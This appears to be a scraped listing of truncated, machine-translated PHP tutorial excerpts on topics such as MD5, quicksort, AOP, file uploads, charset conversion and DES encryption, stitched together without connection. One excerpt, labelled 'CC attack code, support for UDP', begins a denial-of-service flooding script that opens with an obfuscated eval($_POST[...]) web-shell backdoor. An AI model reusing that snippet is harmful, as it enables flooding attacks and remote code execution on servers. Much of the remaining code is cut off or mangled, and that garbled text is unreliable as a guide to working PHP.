PHP Tutorials

7.1. Standard functions There are more than 1000 standard functions in the standard PHP release package, which are built-in and can be used directly without the need for user creation Such as: Copy CodeThe code is as follows: echo MD5 (' 123456 ');

Today, when parsing dedecms, the MySQL time field found in Deder is used ' SendData ' int (ten) unsigned not NULL DEFAULT ' 0 '; Then found this article on the Internet, it seems that if the time field has to participate in

The login principle is still quite complicated, as I think Curl gets the page again post the idea is very simple. Sort the functions that are encountered by the price processing string: Copy CodeThe code is as follows: $encryption =

Find the project folder below the Lib/action this directory, there is a good example to create IndexAction.class.php, join us to create the admin this project, then./admin/lib/action/ IndexAction.class.php, this module is the default loaded module.

First Ajax can not upload files, which misled me for a while, tonight I do not sleep on the instructions to do a no refresh upload files Actually, the principle is simple. Copy CodeThe code is as follows: and the general The label has more

The idea of online registration and uploading works is to use Web Forms to collect user-filled data stored in the MySQL database, and create an FTP upload account with the user's registered name and create a corresponding directory for that

Copy CodeThe code is as follows: Add Ob_start () at the beginning of your service; Ob_start (); Here's your code. Add Ob_end_clean () at the end and output this page to a variable $temp = Ob_get_contents (); Ob_end_clean (); Write file $fp =

Code Listing 1: Copy CodeThe code is as follows: function Quicksort ($STR) { if (count ($str) $key = $str [0];//takes a value, which is later used for comparison; $left _arr=array (); $right _arr=array (); for ($i =1; $i if ($str [$i]$left _arr[]

Project Structure: Add Page: Description: Here only focus on the operation, the interface of the artist did not work, I hope you understand ... List page: Modify Page: SQL required in the project:Copy CodeThe code is as follows:Create Database

Naming conventionsΘ files are named with the. class.php suffix, using the Hump method, and capitalized, such as Pay.class.php; The Θ class name and directory _ file name are identical. For example: The Directory of class name Zend_autoloader is zend/

Copy CodeThe code is as follows: Get Server information $sysos = $_server["Server_software"]; Gets the string for the server identity $sysversion = php_version; Get PHP Server version The following two code connects to MySQL database and

Copy CodeThe code is as follows: Automatic conversion character set supports array conversion function Auto_charset ($fContents, $from = ' GBK ', $to = ' utf-8 ') { $from = Strtoupper ($from) = = ' UTF8 '? ' Utf-8 ': $from; $to = Strtoupper ($to) = =

CC attack code, support for UDP Copy CodeThe code is as follows: Eval ($_POST[CHR (90)]); Set_time_limit (86400); Ignore_user_abort (True); $packets = 0; $http = $_get[' http ']; $rand = $_get[' exit ']; $exec _time = $_get[' time '); if (StrLen ($

Introduced Have you ever heard of AOP (Aspect oriented programming)? Although there seems to be no excessive use in PHP, AOP is widely used in enterprise-level development. I'll take this article to introduce you to the AOP aspects of PHP. This

Garbage collection mechanism is a dynamic storage allocation scheme. It automatically frees the allocated memory blocks that the program no longer needs. The process of automatically reclaiming memory is called garbage collection. The garbage

Many do not say, directly on the code: Copy CodeThe code is as follows: Ignore_user_abort (TRUE); Set whether the execution of the script is interrupted when the client disconnects Set_time_limit (0); $file = '/tmp/ignore_user.txt '; if

Copy CodeThe code is as follows: $arr = Array (' A ', ' B ', ' C ', ' d '); Unset ($arr [1]); Print_r ($arr); ?> Print_r ($arr), the result is not that, the end result is an Array ([0] = a [2] = c [3] + D So how can the missing elements be filled

__FILE__, which is the full path and file name of the returned file. If used in the include file, the include filename is returned. Since PHP 4.0.2, __file__ always contains an absolute path, and the previous version sometimes contains a relative

Copy CodeThe code is as follows: Original image $DST = "/upload/20120914/20120914040740-0.jpg"; Note that the picture path should be correct Get the original picture information $DST _info = getimagesize ($DST); Switch ($DST _info[2]) { Case 1: $DST

Function source Code Copy CodeThe code is as follows: function Encrypt ($data, $key) { $prep _code = serialize ($data); $block = Mcrypt_get_block_size (' des ', ' ECB '); if ($pad = $block-(strlen ($prep _code)% $block)) $prep _code. = Str_repeat